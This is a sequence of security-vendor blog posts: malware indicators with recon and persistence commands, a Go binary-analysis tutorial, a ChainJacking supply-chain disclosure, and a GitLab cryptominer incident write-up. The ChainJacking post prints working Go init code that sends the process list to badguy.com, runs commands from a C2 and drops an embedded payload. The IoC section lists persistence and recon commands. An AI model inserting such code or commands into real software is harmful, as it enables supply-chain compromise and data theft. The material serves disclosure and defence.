d476ca89674c987ca399a97f2d635fe30a6ba81c95f93e8320a5f979a0563517
36fed8ab1bf473714d6886b8dcfbcaa200a72997d50ea0225a90c28306b7670e

C2

https[://]bookitlab[.]tech
https[://]winaudio-tools[.]com
https[://]graphic-updater[.]com
https[://]github[.]url-mini[.]com
https[://]office360-update[.]com
https[://]drive[.]google[.]com/uc?export=download&id=1-NVty4YX0dPHdxkgMrbdCldQCpCaE-Hn
https[://]drive[.]google[.]com/uc?export=download&id=1W64PQQxrwY3XjBnv_QAeBQu-ePr537eu

Detection Content

Windows

Files and directories created on the machine

C:\ProgramData\RecoverySystem
C:\ProgramData\RecoverySystem\recoveryWindows.zip
C:\ProgramData\RecoverySystem\msg.exe
C:\ProgramData\SystemData\
C:\ProgramData\SystemData\igfxCUIService.exe
C:\ProgramData\SystemData\tempo1.txt
C:\ProgramData\SystemData\tempo2.txt
C:\ProgramData\SystemData\tempi1.txt
C:\ProgramData\SystemData\tempi2.txt
C:\ProgramData\SystemData\temps1.txt
C:\ProgramData\SystemData\temps2.txt
C:\ProgramData\SystemData\tempu.txt
C:\ProgramData\SystemData\microsoft_Windows.dll
C:\ProgramData\xAE Operating System\ServiceHub.exe

Persistence

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Name: igfxCUIService
Type: REG_SZ
Data: "C:\ProgramData\SystemData\igfxCUIService.exe"

Commands

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" copy 'C:\Users\<USER>\AppData\Local\Temp\1ffd6559d21470c40dcf9236.exe' 'C:\ProgramData\SystemData\igfxCUIService.exe'

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" getmac | Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps1.txt' ; wmic path win32_physicalmedia get SerialNumber | Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\temps2.txt'

"C:\Windows\System32\Wbem\WMIC.exe" path win32_physicalmedia get SerialNumber

"C:\Windows\system32\getmac.exe"

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $env:username | Out-File -Encoding 'Default' 'C:\ProgramData\SystemData\tempu.txt'

"C:\Windows\System32\cmd.exe" /c wmic OS get Caption, CSDVersion, OSArchitecture, Version / value > "C:\ProgramData\SystemData\tempo1.txt" && type "C:\ProgramData\SystemData\tempo1.txt" > "C:\ProgramData\SystemData\tempo2.txt"

wmic OS get Caption, CSDVersion, OSArchitecture, Version / value

"C:\Windows\System32\cmd.exe" /c wmic nicconfig where 'IPEnabled = True' get ipaddress > "C:\ProgramData\SystemData\tempi1.txt" && type "C:\ProgramData\SystemData\tempi1.txt" > "C:\ProgramData\SystemData\tempi2.txt"

wmic nicconfig where 'IPEnabled = True' get ipaddress

"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V igfxCUIService /t REG_SZ /D "C:\ProgramData\SystemData\igfxCUIService.exe" /F

REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V igfxCUIService /t REG_SZ /D "C:\ProgramData\SystemData\igfxCUIService.exe" /F

Linux

Files and directories created on the machine

/.Library/
/.Library/SystemServices/updateSystem
/.Library/SystemNetwork
/.Library/log.txt

Persistence

Creates the cron job:

@reboot (/.Library/SystemServices/updateSystem)

Commands

crontab -l | egrep -v "^(#|$)" | grep -e "@reboot
(/.Library/SystemServices/updateSystem)"

cp -rf <sample name> /.Library/SystemServices/updateSystem

nohup '/.Library/SystemServices/updateSystem' >/dev/null 2>&1 &

ifconfig | grep -v 127.0.0.1 | grep -E "inet
([0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3})" | awk '{print $2}'

ip address | awk '/ether/{print $2}'

id -u

uname -mrs

Mac

Files and directories created on the machine

/Library/MacOsServices
/Library/MacOsServices/updateMacOs
/Library/SystemNetwork
/Library/LaunchAgents/com.apple.update.plist

Persistence

Creates persistence via LaunchAgent under the path: /Library/LaunchAgents/com.apple.update.plist.

Content:

<?xml version="1.0″ encoding="UTF-8″?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0″>
<dict>
 <key>Label</key>
 <string>com.apple.update</string>
 <key>LimitLoadToSessionType</key>
 <string>Aqua</string>
 <key>ProgramArguments</key>
 <array>
 <string>/Library/MacOsServices/updateMacOs</string>
 </array>
 <key>KeepAlive</key>
 <dict>
 <key>SuccessfulExit</key>
 <true/>
 </dict>
 <key>RunAtLoad</key>
 <true/>
</dict>
</plist>

All Your Go Binaries are Belong to Us

Thu, 02 Dec 2021 00:00:00 +0000

The skillset of performing binary analysis may to some appear to be limited to a few undeadly souls. While it may look like a form of dark arts when someone can read data structures in a raw hex dump, it shouldn’t even qualify as a party trick. To quote @BizTheDeveloper’s mother, “…reading a hex dump is not that hard…” Now, the goal of this post is not to turn the reader into a hex dump magician. Instead, I want to show that binary analysis is all about data parsing. If you are a Go developer and are not interested in the analysis of Go binaries, this post will still have something for you. Did you know that “Go binary analysts” know if you organize your source code neatly or just dump everything into one file? In this post, we will see how we can extract some of the available hidden metadata in the binaries produced by the Go compiler. With the extracted data, we will see a few use cases including how it can be used to determine if the application uses a vulnerable dependency. The goal is to be able to perform this on “production builds” so we are targeting support for stripped binaries. This means we can’t depend on debug information or symbols that normally are included in binaries produced by the compiler. This may look like something we would need but in fact, we actually don’t. Finally, let’s limit us to only using the standard library and optionally a “golang x” package.

The Debug Package

A package that everyone who wants to do some analysis of Go binaries should know about is the debug package in the standard library. The package provides sub-packages to parse ELF (Linux and Unix), PE (Windows), and Mach-O (macOS) files. In addition to this, it also has useful functions for parsing some of the data structures we need to process. One good thing with these functions is that they are not dependent on debug information or symbols, which means we can use them for stripped “production builds.” Finding the structures is a bit harder but unfortunately not something we can work around. The metadata table we are going to focus on in this section is the PCLNTAB. The PCLNTAB was added in Go 1.2 and holds data needed for Go’s panic messages. The table is used to map between the program counter (location of an assembly instruction) and the source code file and line number, allowing a more developer-friendly panic message as it includes where in the source code the panic occurred. What is also part of this table is a list of all the function information, including functions that have been eliminated by the compiler as part of the dead code elimination step. The goal of parsing this table is to recover all the packages in the Go binary. Before we can process the table, we need to first find it. This is very easy for ELF and Mach-O files because the table is located in its own section called .gopclntab. When it comes to PE files, the process is a bit less straightforward. The table is usually located in the .rdata or .text section of the PE file. The table starts with a magic value that can be used to locate the start of the table. For Go binaries compiled with 1.2 up to excluding 1.16 of the compiler, the magic value is 0xfffffffb. For files compiled with 1.16 and later the magic value is 0xfffffffa. To ensure the match is correct we can use the same checks that the parser function uses to check the table. To parse the table, we will use the debug/gosym package. First, we need to create a LineTable with the function NewLineTable. Using the LineTable we can create a symbol table with the function NewTable. The NewTable function accepts a byte slice of the symbol table. This argument can be nil which is good since the symbol table is not available in stripped binaries.

lt := gosym.NewLineTable(lntabBuf, textStart)
tab, err := gosym.NewTable(nil, lt)

The definition of the structure returned is shown in the code snippet below. The structure has really one field which is exported, Funcs which is a slice of Func.

type Table struct {
 Syms []Sym // nil for Go 1.3 and later binaries
 Funcs []Func
 Files map[string]*Obj // for Go 1.2 and later all files map to one Obj
 Objs []Obj // for Go 1.2 and later only one Obj in slice
 // contains filtered or unexported fields
}

The Func type holds information about a single function which includes the entry point and where it ends. These addresses are the memory locations when the file is loaded into memory for execution and not the offset from the beginning of the file. If the function has been eliminated by the compiler, the entry has a value of uint64(0). The Func structure also includes a pointer to the underlying symbol. Via the Sym, we can access the name of the function via the method BaseName and the package it belongs to via the method PackageName. If the Func is a method attached to a type, the method ReceiverName returns the string name of the receiver. Otherwise, it returns an empty string. Using this information, we can iterate through all functions to discover which packages are used and which functions are reachable (according to the Go compiler’s dead code elimination logic). Additional logic based on heuristics to determine if the package is part of the standard library, a dependency, or the main module can be used to sort the packages.

Build Information

With the introduction of the module system, there is another way of enumerating the packages used when compiling a Go program. While this information is only available in binaries compiled with go mod enabled, the data is richer. The build info structure is available as a separate section in ELF and Mach-O files. The section name is .go.buildinfo. For PE files this data is stored inside one of the data sections. It’s a small data structure of 32-bytes. An example is shown in the code snippet below. The first 16-bytes is the structure header. It starts with a 14-byte magic value of 0xff Go buildinf:. The next byte is either 0x4 or 0x8 and gives the pointer size in bytes. The last byte in the header indicates the bit-endianness, a 0x0 means little-endian while a 0x1 means big-endian.

- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
0x0086e000 ff20 476f 2062 7569 6c64 696e 663a 0800 . Go buildinf:..
0x0086e010 30a3 8800 0000 0000 70a3 8800 0000 0000 0.......p.......

Following the header are two pointers to two Go strings. Under the hood, a Go string is a structure with a pointer to the start of the data as the first field and a length of the data as the second field. The first string is the version of the compiler that was used to compile the binary. The second string is the build information. This string is only available if the project was compiled with go modules enabled. The runtime package has the logic to parse the build info string into the BuildInfo structure shown in the snippet below. The structure essentially holds the information from the go.mod file plus the checksums from go.sum.

// BuildInfo represents the build information read from
// the running binary.
type BuildInfo struct {
 Path string // The main package path
 Main Module // The module containing the main package
 Deps []*Module // Module dependencies
}

// Module represents a module.
type Module struct {
 Path string // module path
 Version string // module version
 Sum string // checksum
 Replace *Module // replaced by this module
}

The code in the runtime for parsing out this data structure has seen some changes in the last couple of months. The logic has also been added as part of a sub-package in the debug package that can be assumed to be part of release Go 1.18. One thing that has changed with the structure is the addition of the Settings field to hold more information about the build environment.

// BuildInfo represents the build information read from a Go binary.
type BuildInfo struct {
 GoVersion string // Version of Go that produced this binary.
 Path string // The main package path
 Main Module // The module containing the main package
 Deps []*Module // Module dependencies
 Settings []BuildSetting // Other information about the build.
}

// Module represents a module.
type Module struct {
 Path string // module path
 Version string // module version
 Sum string // checksum
 Replace *Module // replaced by this module
}

// BuildSetting describes a setting that may be used to understand how the
// binary was built. For example, VCS commit and dirty status is stored here.
type BuildSetting struct {
 // Key and Value describe the build setting. They must not contain tabs
 // or newlines.
 Key, Value string
}

Until Go 1.18 is released, we can just copy the code from the runtime and use it to parse the string into a useful data structure. With this information, we get the versions and can easily detect which packages are part of a dependency module.

Vulnerability Scanner

In this section, we are going to see how the extracted information can be used to design a vulnerability scanner. There is currently a project of developing a vulnerability database and code for checking against it. The goal with this scanner is instead of working with the source code, it is to work with the compiled artifacts allowing users of a Go application to check it for vulnerability. For our example, we will use a vulnerability reported in the gopkg.in/yaml.v2 module. The code snippet below shows the data available in the vulnerability database.

module: gopkg.in/yaml.v2
additional_packages:
 # all of the incompatible versions of github.com/go-yaml/yaml
 # are affected
 - module: github.com/go-yaml/yaml
 symbols:
 - decoder.unmarshal
versions:
- fixed: v2.2.3
description: |
 Due to unbounded alias chasing, a maliciously crafted YAML file
 can cause the system to consume significant system resources. If
 parsing user input, this may be used as a denial of service vector.
published: 2021-04-14T12:00:00Z
credit: "@simonferquel"
symbols:
- decoder.unmarshal
links:
pr: https://github.com/go-yaml/yaml/pull/375
commit: https://github.com/go-yaml/yaml/commit/bb4e33bf68bf89cad44d386192cbed201f35b241

In addition to the module name gopkg.in/yaml.v2 we also have the fixed version v2.2.3 and the affected symbol decoder.unmarshal. What we can decipher from this is that the unmarshal method on the decoder type prior to v2.2.3 is vulnerable. With this information we can construct the following logic to check for this vulnerability:

Extract the build information to see if the binary uses a version earlier than v2.2.3. If not, report as not vulnerable.
Search for a function with the package name of gopkg.in/yaml.v2, the receiver of decoder, and the name of unmarshal.
Check if the found function has a non-nil Entry field. If it does, report as vulnerable. Otherwise, report as not vulnerable.

Now, this approach is not perfect. We are standing on the shoulders of the Go compiler’s dead-code elimination logic to remove code that’s not reachable. It is possible that the code is never executed in the binary but the compiler failed to eliminate it, which would result in a false positive. It is possible to reduce this false positive further but it would need to create call graphs to see if the code is reachable. This is out of scope for this post.

Source Code Map

With the data extracted using the debug package, there are some other interesting things we can do. Remember that the PCLN table is used to map a process counter to a specific line in a source code file. This means that the binary has information about the structure of the source code. What we just need to do is extract it and present it in a friendlier way. As I have described the process in a previous blog post, this will be a summarized version. In an earlier section, the Func type was introduced that holds symbol information about a function. Two of the fields are pointers to where the code of the function starts and ends. This means we know where the first instruction starts and the last instruction ends for the method. The Table structure has a method for resolving a process counter to both a line number and a source code file name. This gives us of way to determine the first and last line number of a function in the source code. One may naively assume that we can just put the entry and the end field values into the function and it will return what we want. Unfortunately, this is not the case. The entry works fine but issues sometimes occur with the last instruction. The compiler adds code to the end of each function (this code requests more stack space) which can throw off the information. So the best we can do is to estimate where the end is by checking all instructions in the function and assuming that the largest line number in the same file as the starting line is the end of the function. This method isn’t perfect as inline functions can break this assertion. The next step is to get the location of each instruction in the function. For x86 this isn’t straightforward because they can be one to 15 bytes long. This means that the only way of getting the location of each instruction is to disassemble it. The Go team maintains a package named arch that can disassemble x86, ARM, and PowerPC. The package is used by the Go tool objdump. Another hack that can be used is to just assume that each instruction is say for example four bytes long and resolve the line for every four-bytes. The process counter to line mapping function does not care if the passed in process counter is right in the middle of an instruction… With the file names and line numbers extracted we can just organize the data and present it. Here is for example the extracted data for a gofmt binary. It only shows the data for the main module. The first line gives the name of the package and the path to the folder when it was compiled. Next, each file is listed. Under each file, the function is listed in the sorted order of the starting line number. The function line also includes an estimated ending line of the function and estimated lines of code; the first line is the function definition. In the code snippet below we can see that one file is named <autogenerated>. This is for code generated by the compiler. Another thing we can see in the output is some functions with dwrap in the name, for example, processFile·dwrap·1. These are functions generated by the compiler for defer calls.

Package main: /usr/lib/go/src/cmd/gofmt
File: <autogenerated>
(*simplifier)Visit Lines: 1 to 1 (0)
File: gofmt.go
init Lines: 29 to 53 (24)
usage Lines: 64 to 76 (12)
isGoFile Lines: 76 to 83 (7)
processFile Lines: 83 to 163 (80)
processFile·dwrap·1 Lines: 90 to 166 (76)
visitFile Lines: 166 to 176 (10)
main Lines: 176 to 184 (8)
gofmtMain Lines: 184 to 232 (48)
gofmtMain·dwrap·2 Lines: 195 to 234 (39)
diffWithReplaceTempFile Lines: 234 to 251 (17)
replaceTempFilename Lines: 251 to 276 (25)
backupFile Lines: 276 to 298 (22)
File: internal.go
parse Lines: 23 to 94 (71)
parsefunc1 Lines: 45 to 69 (24)
parsefunc2 Lines: 69 to 80 (11)
format Lines: 94 to 175 (81)
File: rewrite.go
initRewrite Lines: 19 to 32 (13)
initRewritefunc1 Lines: 31 to 38 (7)
parseExpr Lines: 38 to 57 (19)
rewriteFile Lines: 57 to 81 (24)
rewriteFilefunc1 Lines: 64 to 85 (21)
set Lines: 85 to 117 (32)
setfunc1 Lines: 90 to 99 (9)
apply Lines: 117 to 152 (35)
isWildcard Lines: 152 to 160 (8)
match Lines: 160 to 248 (88)
subst Lines: 248 to 308 (60)
File: simplify.go
simplifierVisit Lines: 15 to 130 (115)
simplifiersimplifyLiteral Lines: 102 to 133 (31)
simplify Lines: 133 to 141 (8)
removeEmptyDeclGroups Lines: 141 to 152 (11)
isEmpty Lines: 152 to 164 (12)

One may wonder what this information can be used for. One thing it can be used for is to detect changes in Go applications. Another place where it is useful is for the analysis of suspicious Go binaries by for example identifying if the application is an open-source program or malware. The snippet below is from a ransomware called Snatch that has been around for a few years. From the function names, we can get an idea of what the binary might be doing. We see both function names that suggest scanning folders for files and encrypting. One thing that this ransomware does is to install itself as a Windows service that is started in Safe boot mode. After it has installed itself as a service, it reboots the machine into safe mode. We can see function names in the output that suggest this behavior.

Package main: /home/go/src/locker
File: config.go
init Lines: 39 to 246 (207)
File: dirs.go
scanDir Lines: 10 to 85 (75)
scanDirfunc1 Lines: 11 to 13 (2)
File: files.go
encryptFile Lines: 13 to 120 (107)
encryptFilefunc1 Lines: 14 to 16 (2)
File: main.go
main Lines: 24 to 91 (67)
runInstance Lines: 91 to 107 (16)
File: misc.go
decodeString Lines: 15 to 37 (22)
makeFile Lines: 37 to 60 (23)
makeFilefunc1 Lines: 43 to 68 (25)
makeBatFile Lines: 60 to 67 (7)
runBatFile Lines: 67 to 92 (25)
runBatFilefunc1 Lines: 68 to 70 (2)
isSafeBoot Lines: 92 to 115 (23)
deleteShadowCopy Lines: 115 to 135 (20)
selfRemove Lines: 135 to 158 (23)
randomBatFileName Lines: 158 to 171 (13)
Copy Lines: 171 to 188 (17)
File: queue.go
(*Queue)Push Lines: 20 to 33 (13)
(*Queue)Pop Lines: 33 to 45 (12)
runWorkers Lines: 45 to 64 (19)
File: services.go
(*myService)Execute Lines: 13 to 56 (43)
getServicesNamesList Lines: 56 to 88 (32)
stopServices Lines: 88 to 113 (25)
setupServiceSafeBoot Lines: 113 to 138 (25)
safeModeEnabled Lines: 138 to 161 (23)
installService Lines: 161 to 188 (27)
reboot Lines: 188 to 204 (16)

Wrap-up

There is much more metadata, for example, types and the build-id, that can be extracted from Go binaries. If we were to cover all of it, this post would be way too long. Hopefully, this has shown that Go binaries are rich with metadata and that binary analysis isn’t that bad. For readers that would like to do some of their own binary analysis but do not want to write all the code to extract the data, there are libraries available. The Go Reverse Engineering Tool Kit can extract all the data covered in this post, allowing just your imagination with what to do with the data.

New Type of Supply Chain Attack Could Put Popular Admin Tools at Risk

Tue, 16 Nov 2021 00:00:00 +0000

Research between Intezer and Checkmarx describes ChainJacking, a type of software supply chain attack that could be potentially exploited by threat actors and puts common admin tools at risk.

We have identified a number of open-source Go packages that are susceptible to ChainJacking given that some of these vulnerable packages are embedded in popular admin tools.

The nature of transitive trust between open-source security (OSS) makes this technique highly difficult to defend at the developer level using open-source software.

To help the infosec community protect against this type of attack, we developed an open-source tool which can be used to scan source code and detect if packages downloaded from GitHub and other sources are vulnerable. You can also scan the binaries of any program in Intezer Analyze to make sure they don’t contain vulnerable packages or ChainJacking vulnerable Git repositories.

Intro

An attacker slipping through the cracks between the designs of GitHub and Go Package Manager could allow them to take control over popular Go packages, poison them, and infect both developers and users.

Go build tools provide an easy way for developers to download and use open-source libraries in their projects. Compared to other languages such as Python and Rust, Go doesn’t use a central repository where libraries can be downloaded from. Instead, the Go tooling pulls code packages straight from version control systems such as GitHub¹.

GitHub is the largest source-code repository on the internet, with the majority of Go packages hosted on it. One feature GitHub provides is allowing users to change usernames.

The change of username process is quick and simple. A warning lets you know that all traffic for the old repository’s URL will be redirected to the new one.

What GitHub doesn’t mention in this alert is an important implication that it does list in its documentation:

After changing your username, your old username becomes available for anyone else to claim.

This means that an attacker can easily claim the abandoned username and start serving up malicious code to anyone who downloads the package, relying on the credibility gained by its former owner. Doing so in a Go package repository could result in a chain reaction that substantially widens the code distribution and infects large numbers of downstream products.

Let’s lay out the blueprint for this relatively simple yet potentially catastrophic attack vector.

¹ We are focusing on Go but other package managers like NPM also allow code pulling from version control systems which makes them susceptible to this kind of attack as well.

Direct ChainJacking

Let’s give an example scenario. A developer named Annastacia opens a GitHub account under the username Annastacia. She then publishes a useful Go package in a repository under the name useful. Anyone who wants to use this package can either download and install it via go get github.com/Annastacia/useful, or import it into their code via import github.com/Annastacia/useful. This action will add an entry to the go.mod file, allowing the tooling provided by Go to easily update the package when new versions are released.

Some time has now gone by and thanks to its usefulness, the package has become popular. Annastacia decides that she wants a shorter name for her repository and with just a few clicks she changes her GitHub username to Anna. Subsequently, two things will happen:

The username Annastacia is now available to be registered by anyone else.
All requests for github.com/Annastacia/useful are now redirected to github.com/Anna/useful.

All current packages using github.com/Annastacia/useful can still use it as before, so nothing breaks and there are no user complaints as of yet².

If a malicious actor manages to claim the Annastacia username, they can then publish their own malicious code under the repository name useful. This action breaks the redirect to Anna/useful and GitHub now serves the threat actor’s malicious code from github.com/Annastacia/useful, which could compromise anyone using the old URL.

The concept is rather simple. Now, every new installation of this package can potentially infect the installing developer’s machine. Even more potentially damaging, any new package or third-party product written in the future which depends on this infected package will also cause infections on any machine it is installed on.

² Given that the owner dealt with the Go module configuration the right way.

Meet go.mod & go.sum

In the attack scenario described above, the victim’s machine is infected by directly calling for the poisoned package. This is assuming the victim called Annastacia’s old repository URL and not the new one. As previously mentioned, a successful attack can also occur when the poisoned package is called indirectly, as a dependency of another package, preferably a popular one. However, this kind of attack raises new challenges for the attacker.

Dependencies in a Go project are managed by two files, go.mod and go.sum. The go.mod file holds a complete list of the module’s dependencies and their versions, while the go.sum file holds a complete list of the module’s dependencies, their versions, and a checksum of the package.

Looking at this from the viewpoint of an attacker, if they manage to take control over a package, found in the go.mod and go.sum files of a popular package, and poison it while leaving it in the same version, the attack will fail due to a checksum mismatch³.

³ It will most likely fail even before this point because Go tooling will pull the cached package and not access the poisoned repository.

For an attack to succeed, they must publish a new version of the package and in some way, lure the owner of the package to update its dependencies. This is a significant challenge for the attacker with the obvious solution being a manual pull request, or in case the GitHub repository is configured that way, an automatic pull request from GitHub’s dependabot.

Potential Impact

We believe that ChainJacking has the potential to cause damage equivalent to the attack on SolarWinds, since some of the vulnerable Go packages we found are used as dependencies in popular admin tools designed to run with high privileges.

Practical Example

Let’s look at a commonly used open-source library and show what could happen if it was susceptible to a take-over. A popular third-party logging package is called Logrus (github.com/sirupsen/logrus). If this package is vulnerable, it can be used to inject malicious code into any applications compiled with the “old” repository. In this mock scenario, in addition to code provided by Go standard library, we are also using the third-party package github.com/mitchellh/go-ps. This package allows for enumerating the running processes on the machine and is platform independent. The package has been used by multiple malware written in Go. Also, we can use go-binddata to embed an alternative payload.

The following code was added to the end of one of the files in the package. First, a new init function was created. Go allows for multiple init functions to exist in the same package. All init functions are executed before the main function is executed in a non-deterministic order.

func init() {
 if ok := collectData(); !ok {
 writeAndExecute()
 }
}

func collectData() bool {
 p, err := ps.Processes()
 if err != nil {
 return false
 }
 var d []string
 for _, v := range p {
 d = append(d, v.Executable())
 }
 buf := base64.RawURLEncoding.EncodeToString([]byte(strings.Join(d, "|")))
 resp, err := http.Get(fmt.Sprintf("https://badguy.com/?s1=%s", buf))
 if err != nil {
 return false
 }
 defer resp.Body.Close()
 body, err := ioutil.ReadAll(resp.Body)
 if err != nil {
 return false
 }
 data := struct {
 Code int
 Cmd string
 Args []string
 }{}
 err = json.Unmarshal(body, &data)
 if err != nil {
 return false
 }
 if data.Code != 0x1337 {
 return false
 }
 cmd := exec.Command(data.Cmd, data.Args...)
 cmd.Start()
 return true
}

func writeAndExecute() {
 var buf []byte
 if runtime.GOOS == "windows" {
 b, err := bindataPayloadExeBytes()
 if err != nil {
 return
 }
 buf = b
 } else if runtime.GOOS == "linux" {
 b, err := bindataPayloadElfBytes()
 if err != nil {
 return
 }
 buf = b
 } else {
 return
 }
 f, err := ioutil.TempFile("", "")
 if err != nil {
 return
 }
 _, err = f.Write(buf)
 if err != nil {
 return
 }
 if runtime.GOOS == "linux" {
 err = f.Chmod(0755)
 if err != nil {
 panic(err)
 }
 }
 err = f.Sync()
 if err != nil {
 return
 }
 name := f.Name()
 err = f.Close()
 if err != nil {
 return
 }
 cmd := exec.Command(name)
 cmd.Start()
 time.Sleep(10 * time.Second)
}

The injected code uses common techniques used by other malware written in Go. It performs a process enumeration which is sometimes performed by malware to determine if it is executed in a sandbox or being analyzed. Another feature of the code is to perform data exfiltration of base64 encoded data. Command execution is simulated by allowing the Command and Control (C2) server to send a command to be executed by the injected code. Finally, an alternative payload is embedded, allowing the injected code to behave as a dropper. The same resource embedding library has been used by malware in the past.

If we build another application whose dependency uses the vulnerable repository, the modified logging package is included in the final binary. If we analyze the binary with Intezer Analyze we can see that it detected 14 unique code genes.

We can confirm that the unique genes are indeed part of the malicious code that we injected because we can see this section of code is located in the collectData function.

GitHub Mitigation

In an effort to address this issue and similar ones, GitHub introduced Popular repository namespace retirement. This measure should ensure that attacks such as ChainJacking won’t be possible on popular code packages that might have a substantial impact. To do that, GitHub “retires the namespace of any open-source project that had more than 100 clones in the week leading up to the owner’s account being renamed or deleted.”

Mitigation Recommendations

The good news is that while ChainJacking has the potential to cause incidents with severe widespread effects, it can also be mitigated relatively simply. Combining Checkmarx and Intezer’s technologies, we were able to recognize the possible source of the attack at the code level while also identifying the impact of this attack vector at the application level.

To help detect vulnerable packages in your dependency tree, we are released an open-source tool on GitHub. Check it out and consider incorporating it into your development or build pipeline.
Scan software releases for tampering and backdoors before delivering to customers or deploying to production. Learn more about how Intezer can help you release your software with peace of mind.
Checkmarx monitors packages that can be taken over and alerts the ecosystem (including Go and GitHub) in case a suspicious activity is detected. This means that Checkmarx customers are automatically protected from ChainJacking.

What’s Next?

Software supply chain attacks are on the rise because they can be difficult to detect and have the potential for widespread impact. ChainJacking described in this research provides attackers with new infection opportunities and further adds to the challenges companies face when securing their software supply chain.

To demonstrate the potential outcome of such an attack, we showed the direct link between a real-life vulnerable package and popular admin tools intended to run with high privileges. While we have found no evidence of attackers using ChainJacking in the wild at this moment, the potential damage of an exploitation of this kind could be compared to the recent attacks against Kaseya and SolarWinds.

Disclosure Timeline

8 Oct 21 – Full report sent
8 Oct 21 – GitHub acknowledges receiving the report
20 Oct 21 – GitHub asked for clarifications
20 Oct 21 – Clarifications sent together with a PoC video
30 Oct 21 – GitHub responded indicating that this is a known behavior and referenced their documentation
5 Nov 21 – Email sent to Go security team
10 Nov 21 – Response from Go security team acknowledging it as an issue but not something they could fix
16 Nov 21 – Full disclosure

Conducting Digital Forensics Incident Response (DFIR) on an Infected GitLab Server

Thu, 04 Nov 2021 00:00:00 +0000

GitLab servers are under attack with a now-patched critical vulnerability

Earlier this week we investigated an incident that occurred on a user’s GitLab server. After the user installed a sensor on their server, an initial runtime scan was performed. An alert was immediately triggered on the execution of a malicious metasploit shellcode named gitlab.elf, which occurred a few days prior to the installation of the sensor. Several hours later another alert was triggered, this time upon the execution of an XMRig Miner. The malware was also executed several days before the sensor was installed. We notified the user and began our own investigation with the goal of understanding how the attacker got into the system and what the scope of the incident was. Consistent with our findings, news broke later that day that attackers were exploiting a GitLab unauthenticated remote code execution (RCE) vulnerability. In this post we describe the investigation process conducted by Intezer’s research and engineering teams using the runtime security sensor installed on the victim’s host.

The Incident

The individual was a new user who had just installed the a sensor on a CentOS host. Immediately after the install, an initial scan was performed and the sensor identified a running shellcode inside a container on the user’s host. The alert presented important information about the execution of the process including the process tree, execution path, details about the user’s host, and the files containing malware. Using this information, we were able to get more details about the malicious process:

The process was executed inside a container based on a gitlab/gitlab-ce:12.10.10-ce.0 Docker image
The path and filename of the malicious process is /var/opt/gitlab/gitlab-workhorse/gitlab.elf
EUID of the process is 998
The process connected to 172.96.190[.]95:904
The alert also links to Intezer, which identifies the shellcode as a metasploit.

During this time, the second alert appeared, shown below, notifying the user that an XMRig Miner was executed inside the container. The name of the file that contains the malware was syslogd64. Using the parent process ID (PPID) information from the alert, we were able to determine that it was executed by a script called okk.sh. The shellcode in gitlab.elf provides a reverse TCP shell that delivers okk.sh.

We inspected the events that occurred on the victim’s host and found a curl command executed inside the container. Shown below are Events which can be accessed from the sensor dashboard. A curl command is seen which uses the whoami value as part of the target’s hostname.

Curl command seen under Events.

We were also able to find another script called tmp.sh under the Events tab.

The scripts install an XMRig Miner and implement persistence by creating a systemd service while adding the malware to a .profile file in the user’s home folder.
Another wallet ID is used in this script: 44wrH5Y3VXn577ZJHAJwZG8pLMNQXURsGKnNfbwUNmv3fJdHcedednZSna9hbFU5ojBkF83beV5CJYnqh9jnZNNdTJ4oXor

View of tmp.sh execution event from the sensor.

Tmp.sh execution event.

We examined okk.sh and got the following details:

The script removes previously installed cryptominers.
The script tries to remove the malware that is executed in this attack but it doesn’t seem to work.
The installation command, Install XMRig miner, is copied from the pool’s setup documentation page, shown in the image below.
The wallet ID used by the attacker is 45P62r6YsHWagiRZ6K5tGeKPy2tFFwfYvdfatsKHCC7wATRrsKqqSFySocLVtrKFzYj1RzYu2mSD9HXBofYusbfdAiSCkvM

Installation command for the cryptominer

The victim’s host exposed the GitLab authentication page on port 8080. We can assume that the breach happened due to weak credentials picked up by the attacker, or by abusing the recently discovered RCE vulnerability (CVE-2021-22205) in GitLab.

Looking Inside the Wallets

We were able to view the status of the wallets in the pool’s dashboard. Each wallet was using hundreds of workers at the time of this post. The images below show details of the wallets including their hash rates and activity of the cryptominers.

Hash rates of the wallet.

Hash rates of the second wallet.

Threat Detection and Response

Attackers are constantly searching for internet-facing instances and applications that are vulnerable, misconfigured, or have weak credentials. Users should always install the latest security updates, patch their systems, avoid exposing applications to the internet when they can, and enforce multi-factor authentication. While it’s important to implement all the right security policies and to keep systems up to date, zero-days are bound to happen. Runtime protection solutions come in handy for detecting when the attacker has already compromised the environment and launched malware. This post was a joint effort between Intezer’s research and engineering teams. Special thanks to Adir Shemesh.

IoCs

Gitlab.elf

cd54a34dbd7d345a7fd7fd8744feb5c956825317e9225edb002c3258683947f1

Syslogd64

be6ac1ac095545af4a192c55b259f882933269fc7abf06f283b07487b6253ea7

Okk.sh

7d9adc0b7caebe60ab3e5709e1e6de48b6455f352afff61acf53620f9999139f

Tmp.sh

00fc15eadd33b1055cd3f30869363c6498d2668b8f1e244e82ba1a9abff58bf1

Wallet IDs

44wrH5Y3VXn577ZJHAJwZG8pLMNQXURsGKnNfbwUNmv3fJdHcedednZSna9hbFU5ojBkF83beV5CJYnqh9jnZNNdTJ4oXor

45P62r6YsHWagiRZ6K5tGeKPy2tFFwfYvdfatsKHCC7wATRrsKqqSFySocLVtrKFzYj1RzYu2mSD9HXBofYusbfdAiSCkvM

Exposed Prefect Workflows Could Lead to Disruptive Attacks

Tue, 26 Oct 2021 00:00:00 +0000

Introduction

